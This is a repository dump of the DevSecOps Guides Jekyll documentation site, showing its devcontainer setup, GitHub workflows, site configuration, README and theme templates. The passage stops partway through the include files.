Repository: devsecopsguides/devsecopsguides.github.io Branch: main Commit: 8c7583a669b0 Files: 245 Total size: 1.8 MB Directory structure: gitextract_kcmoh57o/ ├── .devcontainer/ │ ├── Dockerfile │ ├── base.Dockerfile │ ├── devcontainer.json │ └── post-create.sh ├── .github/ │ ├── ISSUE_TEMPLATE/ │ │ ├── bug_report.md │ │ ├── config.yml │ │ └── feature_request.md │ ├── dependabot.yml │ └── workflows/ │ ├── ci.yml │ ├── deploy.yml │ ├── publish-gem.yml │ └── update_jekyll-anchor-heading.yml ├── .gitignore ├── .prettierignore ├── .vscode/ │ └── tasks.json ├── 404.html ├── CNAME ├── Dockerfile ├── Gemfile ├── README.md ├── Rakefile ├── _config.yml ├── _includes/ │ ├── components/ │ │ ├── aux_nav.html │ │ ├── breadcrumbs.html │ │ ├── children_nav.html │ │ ├── footer.html │ │ ├── header.html │ │ ├── mermaid.html │ │ ├── search_footer.html │ │ ├── search_header.html │ │ └── sidebar.html │ ├── css/ │ │ ├── callouts.scss.liquid │ │ ├── custom.scss.liquid │ │ └── just-the-docs.scss.liquid │ ├── fix_linenos.html │ ├── footer_custom.html │ ├── head.html │ ├── head_custom.html │ ├── header_custom.html │ ├── icons/ │ │ ├── code_copy.html │ │ ├── document.html │ │ ├── expand.html │ │ ├── external_link.html │ │ ├── icons.html │ │ ├── link.html │ │ ├── menu.html │ │ └── search.html │ ├── js/ │ │ └── custom.js │ ├── lunr/ │ │ ├── custom-data.json │ │ └── custom-index.js │ ├── mermaid_config.js │ ├── nav.html │ ├── nav_footer_custom.html │ ├── search_placeholder_custom.html │ ├── title.html │ ├── toc_heading_custom.html │ └── vendor/ │ └── anchor_headings.html ├── _layouts/ │ ├── about.html │ ├── default.html │ ├── home.html │ ├── minimal.html │ ├── page.html │ ├── post.html │ ├── table_wrappers.html │ └── vendor/ │ └── compress.html ├── _sass/ │ ├── base.scss │ ├── buttons.scss │ ├── code.scss │ ├── color_schemes/ │ │ ├── dark.scss │ │ ├── legacy_light.scss │ │ └── light.scss │ ├── content.scss │ ├── custom/ │ │ ├── custom.scss │ │ └── setup.scss │ ├── labels.scss │ ├── layout.scss │ ├── modules.scss │ ├── navigation.scss │ ├── print.scss │ ├── search.scss │ ├── skiptomain.scss │ ├── support/ │ │ ├── _functions.scss │ │ ├── _variables.scss │ │ ├── mixins/ │ │ │ ├── _buttons.scss │ │ │ ├── _layout.scss │ │ │ ├── _typography.scss │ │ │ └── mixins.scss │ │ └── support.scss │ ├── tables.scss │ ├── typography.scss │ ├── utilities/ │ │ ├── _colors.scss │ │ ├── _layout.scss │ │ ├── _lists.scss │ │ ├── _spacing.scss │ │ ├── _typography.scss │ │ └── utilities.scss │ └── vendor/ │ ├── OneDarkJekyll/ │ │ ├── LICENSE │ │ └── syntax.scss │ ├── OneLightJekyll/ │ │ ├── LICENSE │ │ └── syntax.scss │ └── normalize.scss/ │ ├── README.md │ └── normalize.scss ├── ads.txt ├── assets/ │ ├── css/ │ │ ├── just-the-docs-dark.scss │ │ ├── just-the-docs-default.scss │ │ └── just-the-docs-light.scss │ ├── images/ │ │ ├── arti.drawio.xml │ │ ├── change.drawio.xml │ │ ├── cicd-initial.drawio.xml │ │ ├── cred-key.drawio.xml │ │ ├── cred-serv.drawio.xml │ │ ├── crypto.drawio.xml │ │ ├── dependency.drawio.xml │ │ ├── depi.drawio.xml │ │ ├── dos.drawio.xml │ │ ├── endpoint.drawio.xml │ │ ├── ex-pip.drawio.xml │ │ ├── ex-pro.drawio.xml │ │ ├── github.drawio.xml │ │ ├── localdos.drawio.xml │ │ ├── monitoring.drawio.xml │ │ ├── per-arti.drawio.xml │ │ ├── per-img.drawio.xml │ │ ├── per-reg.drawio.xml │ │ ├── per-service.drawio.xml │ │ ├── ppe.drawio.xml │ │ ├── priv-cert.drawio.xml │ │ ├── priv-key.drawio.xml │ │ ├── priv-pro.drawio.xml │ │ ├── regi.drawio.xml │ │ ├── registry.drawio.xml │ │ ├── res-del.drawio.xml │ │ ├── resources.drawio.xml │ │ ├── scm.drawio.xml │ │ ├── unprotected.drawio.xml │ │ └── webhook.drawio.xml │ └── js/ │ ├── just-the-docs.js │ └── zzzz-search-data.json ├── bin/ │ └── just-the-docs ├── docker-compose.yml ├── docs/ │ ├── aisecops/ │ │ ├── aisecops.md │ │ ├── azure.md │ │ ├── biasandfairness.md │ │ └── driver.md │ ├── attacks/ │ │ ├── application.md │ │ ├── attacks.md │ │ ├── cloud.md │ │ ├── container.md │ │ └── pipeline.md │ ├── build-test/ │ │ ├── artifacts.md │ │ ├── build-test.md │ │ ├── configuration-management.md │ │ ├── dast.md │ │ ├── iast.md │ │ └── smoke-test.md │ ├── checklists/ │ │ ├── apache.md │ │ ├── argocd.md │ │ ├── auth0.md │ │ ├── aws.md │ │ ├── ceph.md │ │ ├── checklists.md │ │ ├── consul.md │ │ ├── couchdb.md │ │ ├── docker.md │ │ ├── ebpf.md │ │ ├── elasticsearch.md │ │ ├── etcd.md │ │ ├── git.md │ │ ├── gitlab.md │ │ ├── glusterfs.md │ │ ├── gradle.md │ │ ├── graphite.md │ │ ├── iis.md │ │ ├── jenkins.md │ │ ├── kubernetes.md │ │ ├── maven.md │ │ ├── memcached.md │ │ ├── mongodb.md │ │ ├── mysql.md │ │ ├── nginx.md │ │ ├── openshift.md │ │ ├── redis.md │ │ ├── saltstack.md │ │ ├── sbom.md │ │ ├── squid.md │ │ ├── terraform.md │ │ ├── tomcat.md │ │ ├── weblogic.md │ │ └── webservice │ ├── code/ │ │ ├── code.md │ │ ├── sast.md │ │ ├── sca.md │ │ └── secure-pipeline.md │ ├── mlsecops/ │ │ ├── azure.md │ │ ├── mlsecops.md │ │ └── modelrobustnessandadversarialattacks.md │ ├── model/ │ │ ├── model.md │ │ └── simple.md │ ├── operate/ │ │ ├── monitoring.md │ │ ├── operate.md │ │ └── virtual-patching.md │ ├── plan-develop/ │ │ ├── appsec.md │ │ ├── driver.md │ │ ├── methodology.md │ │ ├── plan-develop.md │ │ └── threats.md │ ├── privacy-policy/ │ │ └── privacy-policy.md │ ├── production/ │ │ ├── cloud.md │ │ ├── infrastructure.md │ │ ├── production.md │ │ ├── secrets-management.md │ │ ├── threat-intelligence.md │ │ └── vulnerability-assessment.md │ ├── resources/ │ │ └── resources.md │ ├── rules/ │ │ ├── android.md │ │ ├── c.md │ │ ├── cloudFormation.md │ │ ├── cpp.md │ │ ├── csharp.md │ │ ├── django.md │ │ ├── docker.md │ │ ├── go.md │ │ ├── java.md │ │ ├── kotlin.md │ │ ├── kubernetes.md │ │ ├── laravel.md │ │ ├── llm.md │ │ ├── nodejs.md │ │ ├── objectivec.md │ │ ├── php.md │ │ ├── python.md │ │ ├── rails.md │ │ ├── ruby.md │ │ ├── rules.md │ │ ├── scala.md │ │ ├── swift.md │ │ ├── terraform.md │ │ └── xml.md │ └── stories/ │ └── stories.md ├── fixtures/ │ ├── Gemfile-github-pages │ └── README.md ├── index.md ├── just-the-docs.gemspec ├── lib/ │ └── tasks/ │ └── search.rake └── package.json ================================================ FILE CONTENTS ================================================ ================================================ FILE: .devcontainer/Dockerfile ================================================ # [Choice] Debian OS version (use bullseye on local arm64/Apple Silicon): bullseye, buster ARG VARIANT=bullseye FROM mcr.microsoft.com/vscode/devcontainers/jekyll:0-${VARIANT} # [Choice] Node.js version: none, lts/*, 16, 14, 12, 10 ARG NODE_VERSION="none" RUN if [ "${NODE_VERSION}" != "none" ]; then su vscode -c "umask 0002 && . /usr/local/share/nvm/nvm.sh && nvm install ${NODE_VERSION} 2>&1"; fi # [Optional] Uncomment this section to install additional OS packages. # RUN apt-get update && export DEBIAN_FRONTEND=noninteractive \ # && apt-get -y install --no-install-recommends # [Optional] Uncomment this line to install global node packages. # RUN su vscode -c "source /usr/local/share/nvm/nvm.sh && npm install -g " 2>&1 ================================================ FILE: .devcontainer/base.Dockerfile ================================================ # [Choice] Debian OS version (use 2.7-bullseye on local arm64/Apple Silicon): 2.7-bullseye, 2.7-buster ARG VARIANT=2.7-bullseye FROM mcr.microsoft.com/vscode/devcontainers/ruby:${VARIANT} COPY library-scripts/meta.env /usr/local/etc/vscode-dev-containers # ENV Variables required by Jekyll ENV LANG=en_US.UTF-8 \ LANGUAGE=en_US:en \ TZ=Etc/UTC \ LC_ALL=en_US.UTF-8 \ LANG=en_US.UTF-8 \ LANGUAGE=en_US # Install bundler, latest jekyll, and github-pages for older jekyll RUN gem install bundler jekyll github-pages # [Choice] Node.js version: none, lts/*, 16, 14, 12, 10 ARG NODE_VERSION="none" RUN if [ "${NODE_VERSION}" != "none" ]; then su vscode -c "umask 0002 && . /usr/local/share/nvm/nvm.sh && nvm install ${NODE_VERSION} 2>&1"; fi # [Optional] Uncomment this section to install additional OS packages. # RUN apt-get update && export DEBIAN_FRONTEND=noninteractive \ # && apt-get -y install --no-install-recommends # [Optional] Uncomment this line to install global node packages. # RUN su vscode -c "source /usr/local/share/nvm/nvm.sh && npm install -g " 2>&1 ================================================ FILE: .devcontainer/devcontainer.json ================================================ // For format details, see https://aka.ms/devcontainer.json. For config options, see the README at: // https://github.com/microsoft/vscode-dev-containers/tree/v0.224.2/containers/jekyll { "name": "DevSecOps Guides", "build": { "dockerfile": "Dockerfile", "args": { // Update 'VARIANT' to pick a Debian OS version: bullseye, buster // Use bullseye when on local arm64/Apple Silicon. "VARIANT": "bullseye", // Enable Node.js: pick the latest LTS version "NODE_VERSION": "lts/*" } }, // Set *default* container specific settings.json values on container create. "settings": {}, // Add the IDs of extensions you want installed when the container is created. "extensions": ["GitHub.vscode-pull-request-github"], // Use 'forwardPorts' to make a list of ports inside the container available locally. "forwardPorts": [ // Jekyll server 4000, // Live reload server 35729 ], // Use 'postCreateCommand' to run commands after the container is created. "postCreateCommand": "sh .devcontainer/post-create.sh", // Comment out to connect as root instead. More info: https://aka.ms/vscode-remote/containers/non-root. "remoteUser": "vscode" } ================================================ FILE: .devcontainer/post-create.sh ================================================ #!/bin/sh # Install the version of Bundler. if [ -f Gemfile.lock ] && grep "BUNDLED WITH" Gemfile.lock > /dev/null; then cat Gemfile.lock | tail -n 2 | grep -C2 "BUNDLED WITH" | tail -n 1 | xargs gem install bundler -v fi # If there's a Gemfile, then run `bundle install` # It's assumed that the Gemfile will install Jekyll too if [ -f Gemfile ]; then bundle install fi ================================================ FILE: .github/ISSUE_TEMPLATE/bug_report.md ================================================ --- name: Bug report about: Create a report to help us improve title: '' labels: bug assignees: '' --- **Describe the bug** A clear and concise description of what the bug is. **To Reproduce** Steps to reproduce the behavior: 1. Go to '...' 2. Click on '....' 3. Scroll down to '....' 4. See error **Expected behavior** A clear and concise description of what you expected to happen. **Screenshots** If applicable, add screenshots to help explain your problem. **Desktop (please complete the following information):** - OS: [e.g. iOS] - Browser [e.g. chrome, safari] - Version [e.g. 22] **Smartphone (please complete the following information):** - Device: [e.g. iPhone6] - OS: [e.g. iOS8.1] - Browser [e.g. stock browser, safari] - Version [e.g. 22] **Additional context** Add any other context about the problem here. ================================================ FILE: .github/ISSUE_TEMPLATE/config.yml ================================================ blank_issues_enabled: false contact_links: - name: Ask a question url: https://github.com/just-the-docs/just-the-docs/discussions about: Ask questions and discuss with other community members ================================================ FILE: .github/ISSUE_TEMPLATE/feature_request.md ================================================ --- name: Feature request about: Suggest an idea for this project title: '' labels: enhancement assignees: '' --- **Is your feature request related to a problem? Please describe.** A clear and concise description of what the problem is. Ex. I'm always frustrated when [...] **Describe the solution you'd like** A clear and concise description of what you want to happen. **Describe alternatives you've considered** A clear and concise description of any alternative solutions or features you've considered. **Additional context** Add any other context or screenshots about the feature request here. ================================================ FILE: .github/dependabot.yml ================================================ version: 2 updates: - package-ecosystem: npm directory: "/" schedule: interval: daily time: "10:00" open-pull-requests-limit: 10 - package-ecosystem: bundler directory: "/" schedule: interval: daily time: "10:00" open-pull-requests-limit: 10 ================================================ FILE: .github/workflows/ci.yml ================================================ on: push: branches: - main pull_request: branches: - main name: CI jobs: jekyll-build: name: Build (jekyll gem) strategy: fail-fast: false matrix: jekyll-version: [3.9, 4.3] os: [ ubuntu-latest, macos-latest, windows-latest ] ruby-version: [2.7, 3.1] runs-on: ${{ matrix.os }} steps: - uses: actions/checkout@v3 - name: Setup Ruby ${{ matrix.ruby-version }} uses: ruby/setup-ruby@v1 with: ruby-version: ${{ matrix.ruby-version }} bundler-cache: false - name: Bundle Install run: bundle install - name: Install Jekyll ${{ matrix.jekyll-version }} run: gem install jekyll -v ${{ matrix.jekyll-version }} - name: Init Search run: bundle exec rake search:init - name: Build Site run: bundle exec jekyll build github-pages-build: name: Build (github-pages gem) runs-on: ubuntu-latest steps: - uses: actions/checkout@v3 - name: Setup Ruby uses: ruby/setup-ruby@v1 with: ruby-version: '3.1' bundler-cache: false - name: Bundle Install run: BUNDLE_GEMFILE=fixtures/Gemfile-github-pages bundle install - name: Build Site run: BUNDLE_GEMFILE=fixtures/Gemfile-github-pages bundle exec jekyll build assets: name: Test CSS and JS runs-on: ubuntu-latest strategy: matrix: node-version: [18.x] steps: - uses: actions/checkout@v3 - name: Use Node.js ${{ matrix.node-version }} uses: actions/setup-node@v1 with: node-version: ${{ matrix.node-version }} - run: npm install - run: npm test ================================================ FILE: .github/workflows/deploy.yml ================================================ # This workflow uses actions that are not certified by GitHub. # They are provided by a third-party and are governed by # separate terms of service, privacy policy, and support # documentation. # Sample workflow for building and deploying a Jekyll site to GitHub Pages name: Deploy Jekyll site to Pages on: push: branches: ["main"] # Allows you to run this workflow manually from the Actions tab workflow_dispatch: # Sets permissions of the GITHUB_TOKEN to allow deployment to GitHub Pages permissions: contents: read pages: write id-token: write # Allow one concurrent deployment concurrency: group: "pages" cancel-in-progress: true jobs: # Build job build: runs-on: ubuntu-latest steps: - name: Checkout uses: actions/checkout@v3 - name: Setup Ruby uses: ruby/setup-ruby@v1 with: ruby-version: '3.1' # Not needed with a .ruby-version file bundler-cache: true # runs 'bundle install' and caches installed gems automatically cache-version: 0 # Increment this number if you need to re-download cached gems - name: Setup Pages id: pages uses: actions/configure-pages@v2 - name: Build with Jekyll # Outputs to the './_site' directory by default run: bundle exec jekyll build --baseurl "${{ steps.pages.outputs.base_path }}" env: JEKYLL_ENV: production - name: Upload artifact # Automatically uploads an artifact from the './_site' directory by default uses: actions/upload-pages-artifact@v1 # Deployment job deploy: environment: name: github-pages url: ${{ steps.deployment.outputs.page_url }} runs-on: ubuntu-latest needs: build steps: - name: Deploy to GitHub Pages id: deployment uses: actions/deploy-pages@v1 ================================================ FILE: .github/workflows/publish-gem.yml ================================================ name: Publish Ruby Gem on: workflow_dispatch jobs: build: name: Publish runs-on: ubuntu-latest steps: - uses: actions/checkout@v3 - name: Set up Ruby 3.1 uses: actions/setup-ruby@v1 with: ruby-version: 3.1 - name: Publish to GPR run: | mkdir -p $HOME/.gem touch $HOME/.gem/credentials chmod 0600 $HOME/.gem/credentials printf -- "---\n:github: ${GEM_HOST_API_KEY}\n" > $HOME/.gem/credentials gem build *.gemspec gem push --KEY github --host https://rubygems.pkg.github.com/${OWNER} *.gem env: GEM_HOST_API_KEY: "Bearer ${{secrets.GITHUB_TOKEN}}" OWNER: ${{ github.repository_owner }} # Disabled as this does not handle 2FA # - name: Publish to RubyGems # run: | # mkdir -p $HOME/.gem # touch $HOME/.gem/credentials # chmod 0600 $HOME/.gem/credentials # printf -- "---\n:rubygems_api_key: ${GEM_HOST_API_KEY}\n" > $HOME/.gem/credentials # gem build *.gemspec # gem push *.gem # env: # GEM_HOST_API_KEY: "${{secrets.RUBYGEMS_AUTH_TOKEN}}" ================================================ FILE: .github/workflows/update_jekyll-anchor-heading.yml ================================================ name: Update Vendor plugin - jekyll-anchor-headings on: # schedule: # # once per week # - cron: "0 15 * * 0" workflow_dispatch: jobs: update-deps: runs-on: ubuntu-latest steps: - uses: actions/checkout@v2 - name: Get latest release information id: latest-release uses: pozetroninc/github-action-get-latest-release@master with: owner: allejo repo: jekyll-anchor-headings excludes: prerelease, draft - name: Update jekyll-anchor-headings id: update uses: suisei-cn/actions-download-file@v1.3.0 with: url: "https://github.com/allejo/jekyll-anchor-headings/releases/download/${{ steps.latest-release.outputs.release }}/anchor_headings.html" target: _includes/vendor/ - name: Create PR uses: peter-evans/create-pull-request@v4 with: commit-message: "chore[dependency]: Update `jekyll-anchor-headings` to `${{ steps.latest-release.outputs.release }}`" title: "auto: Update `jekyll-anchor-headings` to `${{ steps.latest-release.outputs.release }}`" body: | Update `jekyll-anchor-headings` to `${{ steps.latest-release.outputs.release }}` This is an automated pull request. branch: update/vendor/jekyll-anchor-headings delete-branch: true labels: | kind/update area/dependency add-paths: | _includes/vendor/anchor_headings.html token: ${{ secrets.GITHUB_TOKEN }} ================================================ FILE: .gitignore ================================================ *.gem .bundle .ruby-version .jekyll-cache .sass-cache _site Gemfile.lock node_modules .DS_Store ================================================ FILE: .prettierignore ================================================ package-lock.json _site assets/css/just-the-docs-default.scss assets/css/just-the-docs-light.scss assets/css/just-the-docs-dark.scss assets/js/vendor/lunr.min.js assets/js/search-data.json assets/js/zzzz-search-data.json assets/js/just-the-docs.js *.md _includes/mermaid_config.js ================================================ FILE: .vscode/tasks.json ================================================ { // See https://go.microsoft.com/fwlink/?LinkId=733558 // for the documentation about the tasks.json format "version": "2.0.0", "tasks": [ { "label": "Serve", "type": "shell", "command": "bundle exec jekyll serve --livereload", "group": { "kind": "test", "isDefault": true }, "isBackground": true }, { "label": "Build", "type": "shell", "command": "bundle exec jekyll build", "group": { "kind": "build", "isDefault": true } } ] } ================================================ FILE: 404.html ================================================ --- layout: default title: 404 permalink: /404 nav_exclude: true search_exclude: true ---

Page not found

The page you requested could not be found. Try using the navigation {% if site.search_enabled != false %}or search {% endif %}to find what you're looking for or go to this site's home page.

================================================ FILE: CNAME ================================================ wiki.devsecopsguides.com ================================================ FILE: Dockerfile ================================================ FROM ruby:2.7 ENV LC_ALL C.UTF-8 ENV LANG en_US.UTF-8 ENV LANGUAGE en_US.UTF-8 WORKDIR /usr/src/app COPY Gemfile just-the-docs.gemspec ./ RUN gem install bundler && bundle install EXPOSE 4000 ================================================ FILE: Gemfile ================================================ source "https://rubygems.org" gemspec gem "jekyll-github-metadata", ">= 2.15" gem "webrick", "~> 1.7" ================================================ FILE: README.md ================================================

DevSecOps Guides

Comprehensive resource for integrating security into the software development lifecycle.




## About Welcome to DevSecOpsGuides, a comprehensive resource for developers, security professionals, and operations teams who want to learn about the world of DevSecOps. DevSecOps is the practice of integrating security into the entire software development lifecycle, from code creation to deployment and beyond. This approach ensures that security is a top priority at every stage of the development process, leading to more secure and reliable applications. Our guides cover a wide range of topics related to DevSecOps, including: 1. Secure coding practices: Learn how to write code that is resistant to common security threats such as SQL injection, cross-site scripting, and buffer overflow. 2. Threat modeling: Learn how to identify potential security vulnerabilities in your applications and prioritize them based on their impact and likelihood of occurrence. 3. Security testing: Learn about different types of security testing, such as penetration testing, vulnerability scanning, and code review, and how to incorporate them into your DevSecOps workflow. 4. Infrastructure security: Learn about securing the infrastructure that supports your applications, including servers, networks, and databases. 5. Compliance and regulations: Learn about compliance requirements and regulations such as GDPR, HIPAA, and PCI-DSS, and how to ensure that your applications meet these standards. 6. Incident response: Learn how to respond to security incidents quickly and effectively, minimizing the impact on your organization and customers. Our guides are written by experts in the field of DevSecOps, and are designed to be accessible to developers, security professionals, and operations teams at all levels of experience. Whether you are just getting started with DevSecOps or are looking to deepen your knowledge and skills, DevSecOpsGuides is the perfect resource for you. ================================================ FILE: Rakefile ================================================ Dir.glob('lib/tasks/*.rake').each {|r| import r} ================================================ FILE: _config.yml ================================================ # Welcome to Jekyll! # # This config file is meant for settings that affect your whole site, values # which you are expected to set up once and rarely edit after that. If you find # yourself editing these this file very often, consider using Jekyll's data files # feature for the data you need to update frequently. # # For technical reasons, this file is *NOT* reloaded automatically when you use # 'jekyll serve'. If you change this file, please restart the server process. # Site settings # These are used to personalize your new site. If you look in the HTML files, # you will see them accessed via {{ site.title }}, {{ site.github_repo }}, and so on. # You can create any custom variable you would like, and they will be accessible # in the templates via {{ site.myvariable }}. title: DevSecOps Guides description: Guides for DevSecOps baseurl: "/" # the subpath of your site, e.g. /blog url: "https://devsecopsguides.github.io" # the base hostname & protocol for your site, e.g. http://example.com repository: devsecopsguides/devsecopsguides.github.io # for github-metadata permalink: pretty exclude: # from https://github.com/jekyll/jekyll/blob/master/lib/site_template/_config.yml: - .sass-cache/ - .jekyll-cache/ - gemfiles/ - Gemfile - Gemfile.lock - node_modules/ - vendor/bundle/ - vendor/cache/ - vendor/gems/ - vendor/ruby/ # specific to the theme website: - bin/ - lib/ - "*.gemspec" - "*.gem" - LICENSE.txt - package.json - package-lock.json - Rakefile - README.md - CODE_OF_CONDUCT.md - docker-compose.yml - Dockerfile # theme test code - fixtures/ # Set a path/url to a logo that will be displayed instead of the title #logo: "/assets/images/just-the-docs.png" # Enable or disable the site search # Supports true (default) or false search_enabled: true search: # Split pages into sections that can be searched individually # Supports 1 - 6, default: 2 heading_level: 2 # Maximum amount of previews per search result # Default: 3 previews: 2 # Maximum amount of words to display before a matched word in the preview # Default: 5 preview_words_before: 3 # Maximum amount of words to display after a matched word in the preview # Default: 10 preview_words_after: 3 # Set the search token separator # Default: /[\s\-/]+/ # Example: enable support for hyphenated search words tokenizer_separator: /[\s/]+/ # Display the relative url in search results # Supports true (default) or false rel_url: true # Enable or disable the search button that appears in the bottom right corner of every page # Supports true or false (default) button: false # For copy button on code enable_copy_code_button: true # By default, consuming the theme as a gem leaves mermaid disabled; it is opt-in mermaid: # Version of mermaid library # Pick an available version from https://cdn.jsdelivr.net/npm/mermaid/ version: "9.1.6" # Put any additional configuration, such as setting the theme, in _includes/mermaid_config.js # See also docs/ui-components/code # To load mermaid from a local library, also use the `path` key to specify the location of the library; e.g. # for (v10+): # path: "/assets/js/mermaid.esm.min.mjs" # for ( ================================================ FILE: _includes/components/breadcrumbs.html ================================================ {% unless page.url == "/" %} {% if page.parent %} {% endif %} {% endunless %} ================================================ FILE: _includes/components/children_nav.html ================================================
{% include toc_heading_custom.html %}
    {% for child in include.toc_list %}
  • {{ child.title }}{% if child.summary %} - {{ child.summary }}{% endif %}
  • {% endfor %}
================================================ FILE: _includes/components/footer.html ================================================ {% capture footer_custom %} {%- include footer_custom.html -%} {% endcapture %} {% if footer_custom != "" or site.last_edit_timestamp or site.gh_edit_link %}
{% if site.back_to_top %}

{{ site.back_to_top_text }}

{% endif %} {{ footer_custom }} {% if site.last_edit_timestamp or site.gh_edit_link %}
{% if site.last_edit_timestamp and site.last_edit_time_format and page.last_modified_date %}

Page last modified: {{ page.last_modified_date | date: site.last_edit_time_format }}.

{% endif %} {% if site.gh_edit_link and site.gh_edit_link_text and site.gh_edit_repository and site.gh_edit_branch and site.gh_edit_view_mode %}

{{ site.gh_edit_link_text }}

{% endif %}
{% endif %}
{% endif %} ================================================ FILE: _includes/components/header.html ================================================
{% if site.search_enabled != false %} {% include components/search_header.html %} {% else %}
{% endif %} {% include header_custom.html %} {% if site.aux_links %} {% include components/aux_nav.html %} {% endif %}
================================================ FILE: _includes/components/mermaid.html ================================================ {% comment %} The complexity of this file comes from a breaking change in Mermaid v10; mermaid.init has been deprecated (and supposedly, didn't work earlier?). So, we check whether the user's Mermaid version is >= 10; if not, we fall back to the previous init syntax. If a user is using a custom mermaid file and doesn't specify a version, we default to the < v10 behaviour. Users who use version v10 or above should specify this in the version key. {% endcomment %} {% if site.mermaid.version %} {% assign mermaid_major_version = site.mermaid.version | split: "." | first | plus: 0 %} {% else %} {% assign mermaid_major_version = 9 %} {% endif %} {% if mermaid_major_version > 9 %} {% else %} {% if site.mermaid.path %} {% else %} {% endif %} {% endif %} ================================================ FILE: _includes/components/search_footer.html ================================================ {% if site.search.button %} {% endif %}
================================================ FILE: _includes/components/search_header.html ================================================ {% capture search_placeholder %}{% include search_placeholder_custom.html %}{% endcapture %} ================================================ FILE: _includes/components/sidebar.html ================================================ ================================================ FILE: _includes/css/callouts.scss.liquid ================================================ {%- comment -%} {% include css/callouts.scss.liquid color_scheme = string %} produces SCSS for all the callouts in site.callouts. For the "dark" color scheme, the levels of the text and background colors are reversed. {%- endcomment -%} {%- assign callout_background_hue = "000" -%} {%- assign callout_color_hue = "300" -%} {%- if site.callouts_level == "loud" or include.color_scheme == "dark" and site.callouts_level != "quiet" -%} {%- assign callout_background_hue = "300" -%} {%- assign callout_color_hue = "000" -%} {%- endif -%} div.opaque { background-color: $body-background-color; } {%- for callout in site.callouts %} {%- assign callout_opacity = callout[1].opacity | default: site.callouts_opacity | default: 0.2 -%} p.{{ callout[0] }}, blockquote.{{ callout[0] }} { background: rgba(${{ callout[1].color }}-{{ callout_background_hue }}, {{ callout_opacity }}); border-left: $border-radius solid ${{ callout[1].color }}-{{ callout_color_hue }}; border-radius: $border-radius; box-shadow: 0 1px 2px rgba(0, 0, 0, 0.12), 0 3px 10px rgba(0, 0, 0, 0.08); padding: .8rem; {% if callout[1].title %} &::before { color: ${{ callout[1].color }}-{{ callout_color_hue }}; content: "{{ callout[1].title }}"; display: block; font-weight: bold; text-transform: uppercase; font-size: .75em; padding-bottom: .125rem; } {% endif %} > .{{ callout[0] }}-title { color: ${{ callout[1].color }}-{{ callout_color_hue }}; display: block; font-weight: bold; text-transform: uppercase; font-size: .75em; padding-bottom: .125rem; } } p.{{ callout[0] }}-title, blockquote.{{ callout[0] }}-title { background: rgba(${{ callout[1].color }}-{{ callout_background_hue }}, {{ callout_opacity }}); border-left: $border-radius solid ${{ callout[1].color }}-{{ callout_color_hue }}; border-radius: $border-radius; box-shadow: 0 1px 2px rgba(0, 0, 0, 0.12), 0 3px 10px rgba(0, 0, 0, 0.08); padding: .8rem; > p:first-child { margin-top: 0; margin-bottom: 0; color: ${{ callout[1].color }}-{{ callout_color_hue }}; display: block; font-weight: bold; text-transform: uppercase; font-size: .75em; padding-bottom: .125rem; } } blockquote.{{ callout[0] }} { margin-left: 0; margin-right: 0; > p:first-child { margin-top: 0; } > p:last-child { margin-bottom: 0; } } blockquote.{{ callout[0] }}-title { margin-left: 0; margin-right: 0; > p:nth-child(2) { margin-top: 0; } > p:last-child { margin-bottom: 0; } } {% endfor -%} ================================================ FILE: _includes/css/custom.scss.liquid ================================================ @import "./custom/custom"; ================================================ FILE: _includes/css/just-the-docs.scss.liquid ================================================ {% if site.logo %} $logo: "{{ site.logo | relative_url }}"; {% endif %} @import "./support/support"; @import "./custom/setup"; @import "./color_schemes/light"; {% unless include.color_scheme == "light" %} @import "./color_schemes/{{ include.color_scheme }}"; {% endunless %} @import "./modules"; {% include css/callouts.scss.liquid color_scheme = include.color_scheme %} {% include css/custom.scss.liquid %} ================================================ FILE: _includes/fix_linenos.html ================================================ {%- comment -%} This file can be used to fix the HTML produced by Jekyll for highlighted code with line numbers. It works with `{% highlight some_language linenos %}...{% endhighlight %}` and with the Kramdown option to add line numbers to fenced code. The implementation was derived from the workaround provided by Dmitry Hrabrov (DeXP) at https://github.com/penibelst/jekyll-compress-html/issues/71#issuecomment-188144901 EXPLANATION The HTML produced by Rouge highlighting with lie numbers is of the form `code table`. Jekyll (<= 4.1.1) always wraps the highlighted HTML with `pre`. This wrapping is not only unnecessary, but also transforms the conforming HTML produced by Rouge to non-conforming HTML, which results in HTML validation error reports. The fix removes the outer `pre` tags whenever they contain the pattern ``. Apart from avoiding HTML validation errors, the fix allows the use of the [Jekyll layout for compressing HTML](http://jch.penibelst.de), which relies on `pre` tags not being nested, according to https://github.com/penibelst/jekyll-compress-html/issues/71#issuecomment-172069842 USAGE (Any names can be used for `some_var` and `some_language`.) {% capture some_var %} {% highlight some_language linenos %} Some code {% endhighlight %} {% endcapture %} {% include fix_linenos.html code=some_var %} For code fences: {% capture some_var %} ```some_language Some code ``` {% endcapture %} {% assign some_var = some_var | markdownify %} {% include fix_linenos.html code=some_var %} CAVEATS The above does not work when `Some code` happens to contain the matched string `
`. The use of this file overwrites the variable `fix_linenos_code` with `nil`. {%- endcomment -%} {% assign fix_linenos_code = include.code %} {% if fix_linenos_code contains '
' %} {% assign fix_linenos_code = fix_linenos_code | replace: '
', '
' %}
  {% assign fix_linenos_code = fix_linenos_code | replace: "
", "" %} {% endif %} {{ fix_linenos_code }} {% assign fix_linenos_code = nil %} ================================================ FILE: _includes/footer_custom.html ================================================ {%- if site.footer_content -%}

{{ site.footer_content }}

{%- endif -%} ================================================ FILE: _includes/head.html ================================================ {% if site.ga_tracking != nil %} {% assign ga_tracking_ids = site.ga_tracking | split: "," %} {% endif %} {% if site.search_enabled != false %} {% endif %} {% for file in site.static_files %} {% if file.path == site.favicon_ico or file.path == '/favicon.ico' %} {% assign favicon = true %} {% endif %} {% endfor %} {% if favicon %} {% endif %} {% seo %} {% include head_custom.html %} ================================================ FILE: _includes/head_custom.html ================================================ ================================================ FILE: _includes/header_custom.html ================================================ ================================================ FILE: _includes/icons/code_copy.html ================================================ Copy Copied ================================================ FILE: _includes/icons/document.html ================================================ Document ================================================ FILE: _includes/icons/expand.html ================================================ Expand ================================================ FILE: _includes/icons/external_link.html ================================================ (external link) ================================================ FILE: _includes/icons/icons.html ================================================ {% include icons/link.html %} {% include icons/menu.html %} {% include icons/expand.html %} {% include icons/external_link.html %} {% if site.search_enabled != false %} {% include icons/document.html %} {% include icons/search.html %} {% endif %} {% if site.enable_copy_code_button != false %} {% include icons/code_copy.html %} {% endif %} ================================================ FILE: _includes/icons/link.html ================================================ Link ================================================ FILE: _includes/icons/menu.html ================================================ Menu ================================================ FILE: _includes/icons/search.html ================================================ Search ================================================ FILE: _includes/js/custom.js ================================================ ================================================ FILE: _includes/lunr/custom-data.json ================================================ ================================================ FILE: 